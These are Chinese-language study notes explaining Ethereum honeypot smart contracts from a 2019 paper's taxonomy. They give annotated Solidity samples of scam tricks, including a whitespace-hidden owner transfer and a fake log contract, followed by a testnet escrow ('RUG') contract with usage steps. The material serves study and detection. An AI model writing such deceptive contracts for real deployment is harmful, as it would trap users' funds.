---
# System prepended metadata

title: 7/9 Honeypot 分享
tags: [Demi]

---

---
tags: Demi
---
# 7/9 Honeypot 分享
## Honeypot contract 蜜罐合約
蜜罐合約是一種特殊類型的智能合約，它在合約設計上看似有明顯的缺陷，如果用戶向合約中轉移了一定數量的資金，那麼該用戶就可以提取合約中的資金。然而，一旦用戶嘗試利用這個看似明顯的缺陷，就會陷入真正的陷阱之中，導致用戶投入合約中的資金無法取回。[1]
![](https://i.imgur.com/UOSn5Tr.png)


![](https://i.imgur.com/ANbCPzG.png)
1. The attacker deploys a seemingly vulnerable contract and places a bait in the form of funds;
1. The victim attempts to exploit the contract by transferring at least the required amount of funds and fails;
1. The attacker withdraws the bait together with the funds that the victim lost in the attempt of exploitation.

---

**事前聲明: 僅供學術研究非鼓勵 版本為2019舊版**
![](https://i.imgur.com/BTGnag0.png)

EVM
---
*  Balance Disorder 餘額錯亂
``` solidity=
contract MultiplicatorX3 {
  ...
  function multiplicate(address adr) payable {
    if (msg.value >= this.balance)
      adr.transfer(this.balance+msg.value);
  }
}

```
https://etherscan.io/address/0x5aa88d2901c68fda244f1d0584400368d2c8e739#code

漏洞?:可以領出balance裡的錢

if 永遠不會成立


Solidity Compiler
---
*  Inheritance Disorder 繼承錯亂
``` solidity=
contract Ownable {
  address owner = msg.sender;
  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }
}
contract KingOfTheHill is Ownable {
  address public owner;
  ...
  function() public payable {
    if(msg.value>jackpot)owner=msg.sender;
    jackpot += msg.value;
  }
  function takeAll() public onlyOwner {
    msg.sender.transfer(this.balance);
    jackpot = 0;
  }
}
```
漏洞?: 可以變為owner

只會改到 line 9 的 owner
line 9!= line 2

* Skip Empty String Literal 跳過空字符串文本
``` solidity=
contract DividendDistributorv3 {
 ...
 function loggedTransfer(uint amount,bytes32 msg,address target,address currentOwner){
   if (!target.call.value(amount)()) throw;
   Transfer(amount,msg,target,currentOwner);
 }
 function invest() public payable {
   if (msg.value >= minInvestment)
     investors[msg.sender].investment+=msg.value;
  }
  function divest(uint amount) public {
    if (investors[msg.sender].investment == 0 || amount == 0) throw;
      investors[msg.sender].investment-=amount;
      this.loggedTransfer(amount,"",msg.sender,owner);
  }
}
```

漏洞?: 可以領出超額存款

line 5 參數會向左 shift

* Type Deduction Overflow 型態推倒溢位
``` solidity=
contract For_Test {
 ...
 function Test() payable public {
   if (msg.value > 0.1 ether) {
     uint256 multi = 0;
     uint256 amountToTransfer = 0;
     for (var i = 0; i < 2*msg.value; i++) {
       multi = i*2;
       if (multi < amountToTransfer) {
          break;
        amountToTransfer = multi;
      }
      msg.sender.transfer(amountToTransfer);
    }
  }
}
```
漏洞?: 加倍奉還

line 7 type(i) = uint8 =0~255
line 7 為無限loop
line 9 overflow 可以成立
line 13 最多領回 255 wei

* Uninitialised Struct 未初始化结構體
``` solidity=
contract GuessNumber {
 uint private randomNumber=uint256(keccak256(now))%10+1;
 uint public lastPlayed;
 uint public minBet=0.1ether;
 struct GuessHistory {
   address player;
   uint256 number;
 }
 function guessNumber(uint256 _number)payable{
    require(msg.value>=minBet&&_number<=10);
    GuessHistory guessHistory;
    guessHistory.player = msg.sender;
    guessHistory.number = _number;
    if (_number == randomNumber)
      msg.sender.transfer(this.balance);
    lastPlayed = now;
  }
}
```

漏洞?: private randomNumber 在鏈上是可以被查到的
https://solidity-by-example.org/hacks/accessing-private-data
 
slot[0] = randomNumber
slot[1] = lastPlayed
...
guessHistory 是 Uninitialised Struct
所以 guessHistory.player->randomNumber
randomNumber 會被overwrite成 msg.sender


https://www.bookstack.cn/read/ethereumbook-en/spilt.16.c2a6b48ca6e1e33c.md
加上 memory or storage guessHistory

Etherscan Blockchain Explorer
---
* Hidden State Update 隱藏狀態更新
``` solidity=
contract Gift_1_ETH {
 bool passHasBeenSet = false;
 ...
 function SetPass(bytes32 hash) payable {
   if (!passHasBeenSet&&(msg.value>=1ether))
     hashPass = hash;
 }
 function GetGift(bytes pass)returns(bytes32){
   if (hashPass == sha3(pass))
      msg.sender.transfer(this.balance);
    return sha3(pass);
  }
  function PassHasBeenSet(bytes32 hash) {
    if (hash==hashPass) passHasBeenSet=true;
  }
}
```
https://etherscan.io/address/0x75041597d8f6e869092d78b9814b7bcdeeb393b4#code

漏洞?: passHasBeenSet 是 false，可以用 SetPass 改 hashPass ，再用 GetGift 領錢出來

Etherscan 可以顯示 Internal transactions 
但不會顯示包含 empty transaction value 的 Internal transaction

* Hidden Transfer 
``` solidity=
contract TestToken {
  ...
  function withdrawAll() payable {
    require(0.5 ether < total);                                                                                                                                                                                                                                                                                                                                                                                 if (block.number > 5040270 ) {if (_owner == msg.sender ){_owner.transfer(this.balance);} else {throw;}}
    msg.sender.transfer(this.balance);
  }
}
```
漏洞?: 看起來是個正常的withdrawAll()

利用 etherscan 顯示問題隱藏程式碼在後面


* Straw Man Contract
``` solidity=
contract Private_Bank {
 ...
 function Private_Bank(address _log) {
   TransferLog = Log(_log);
 }
 function Deposit() public payable {
   if (msg.value >= MinDeposit) {
     balances[msg.sender]+=msg.value;
     TransferLog.AddMessage("Deposit");
    }
  }
  function CashOut(uint _am) {
    if(_am<=balances[msg.sender]){
      if(msg.sender.call.value(_am)()){
        balances[msg.sender]-=_am;
        TransferLog.AddMessage("CashOut");
      }
    }
  }
}
contract Log {
  ...
  function AddMessage(string _data) public {
    LastMsg.Time = now;
    LastMsg.Data = _data;
    History.push(LastMsg);
  }
}
```

漏洞?: 可以 reentrancy attack
https://solidity-by-example.org/hacks/re-entrancy
Checks Effects Interactions

line 3 _log 是別份合約地址
所以line 21~都是假的


詳解 https://www.youtube.com/watch?v=d0q5zVnNLWs
code:https://solidity-by-example.org/hacks/honeypot

---
## HONEYBADGER 蜜獾
![](https://i.imgur.com/iRzkNpV.jpg)

蜜罐合約分析
![](https://i.imgur.com/oDoVnPA.png)

---
## Reference
1. The Art of The Scam:Demystifying Honeypots in Ethereum Smart Contracts
https://arxiv.org/abs/1902.06976
https://www.arxiv-vanity.com/papers/1902.06976/
https://www.usenix.org/system/files/sec19-torres.pdf
中文翻譯
https://zhuanlan.zhihu.com/p/72423392


### 鏈上密罐合約
1. smart-contract-attack-vectors/attacks/honeypot.md
https://github.com/KadenZipfel/smart-contract-attack-vectors/blob/master/attacks/honeypot.md

1. https://immunebytes.com/a-complete-breakdown-of-uninitialized-storage-parameters/
---
## 延伸閱讀
### 對抗性密罐合約
繞過密罐合約檢測器
1. [1]论文速递：An Adversarial Smart Contract Honeypot in Ethereum
https://www.freebuf.com/articles/network/269557.html
![](https://i.imgur.com/vRPh3md.png)
![](https://i.imgur.com/eQMVmZU.png)

### Security
1. Smart Contract Security
https://www.bookstack.cn/read/ethereumbook-en/c2a6b48ca6e1e33c.md

1. Security Considerations https://docs.soliditylang.org/en/v0.8.15/security-considerations.html

1. smart-contract-attack-vectors
https://github.com/kadenzipfel/smart-contract-attack-vectors

---
## 寫爛的託管合約 (RUG Contract)
``` solidity=
contract My_Escrow {
    
    address public owner;
    address[] public payees;

    address _tokenContract = 0xE69aBe2B0C222d0176E965DcF2Cbe01a78b44003; //Goerli ERC20
    IERC20 token = IERC20(_tokenContract);
    constructor() {
        owner = msg.sender;
    }
    event Deposited(address indexed depositor, address indexed payee, uint256 weiAmount);
    event Withdrawn(address indexed payee, uint256 weiAmount);
    event Rewarded(address indexed payee, uint256 weiAmount);

    mapping(address => uint256) private _deposits;

    function depositsOf(address payee) public view returns (uint256) {
        return _deposits[payee];
    }

  
    function deposit(address payee, uint256 amount) public  {
        require(amount>0);
        require(token.balanceOf(msg.sender) >= amount, "You need to have tokens more than amount first!");
        require(token.allowance(msg.sender,address(this)) >= amount, "You need to approve tokens more than amount first!");
        token.transferFrom(msg.sender, address(this), amount); 

        if(_deposits[payee]==0) {
            payees.push(payee);
        }
        _deposits[payee] += amount;
        
        emit Deposited(msg.sender, payee, amount);
    }

    function withdraw() public  {
        address payee = msg.sender;
        uint256 payment = _deposits[payee];

        _deposits[payee] = 0;
         
        token.transfer(payee, payment);

        emit Withdrawn(payee, payment);
    }

    function _get_largest_payee() public view returns(address){
        address largest_payee;
        uint256 largest_payment = 0;
        uint256 length = payees.length;
        if(length == 0 ) {
            return address(0x0);
        }
        for(uint256 i=0; i < length;) {
            address payee = payees[i];
            uint256 payment = _deposits[payee];
            unchecked { ++i; }
            if(payment > largest_payment) { 
                largest_payee = payee;
                largest_payment =  payment;
            }
        }
        return largest_payee;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _; 
    }

    function reward_largest_payee(uint256 amount) public onlyOwner (){
        address payee = _get_largest_payee();
        require(token.balanceOf(address(this)) >=amount , "You need to send more tokens to the contract first!");
        token.transfer(payee, amount);
        emit Rewarded(payee, amount);
    }
}
```
https://goerli.etherscan.io/address/0xc6a3e20d2027a103f8b9e7460b9167b8fdb9651e#writeContract

#### 使用步驟
使用 goerli 測試網
1. 領測試ETH 
https://faucets.chain.link/goerli

2. 領測試 ERC-20 token
連接錢包
https://goerli.etherscan.io/address/0xe69abe2b0c222d0176e965dcf2cbe01a78b44003#writeContract
使用 writeContract 用 faucets 函式 
to (address) 填入錢包地址
amount (uint256) 填入要領的ERC20代幣數量

3. 先在 ERC-20 合約裡 approve 給 My_Escrow.sol 合約
使用 writeContract 用 approve 函式 
填合約地址 跟 要領的數量 10^18=1顆
spender (address) = 0xc6A3E20d2027a103F8B9e7460b9167b8FdB9651e
amont  (uint256) = 1000000000000000000

4. 操作 Escrow 合約
https://goerli.etherscan.io/address/0xc6a3e20d2027a103f8b9e7460b9167b8fdb9651e#writeContract
合約功能
Read Contract
- 1. _get_largest_payee: 顯示存款最多的 user
- 2. depositsOf: user 存款額度
- 3. owner:  合約擁有者
- 4. payees: 存戶地址列表

Write Contract
- 1. deposit: 填入存戶地址跟金額。可以幫別人存款
- 2. reward_largest_payee: 合約擁有者從 Escrow 發 token 給存款最多錢的 user。 要補 send token 到合約地址才不會發完錢不能領款。
- 3. withdraw: 一鍵提款。 只能提領自己帳戶內全部的錢走。


測試紀錄 Event Logs
https://goerli.etherscan.io/address/0xc6a3e20d2027a103f8b9e7460b9167b8fdb9651e#events
- 1. 幫自己存款 0.1 MTK
- 2. 幫別人存款 0.2 MTK
- 3. 提款 0.1 MTK 走
- 4. 發獎勵給存款最多的 user 0.1 MTK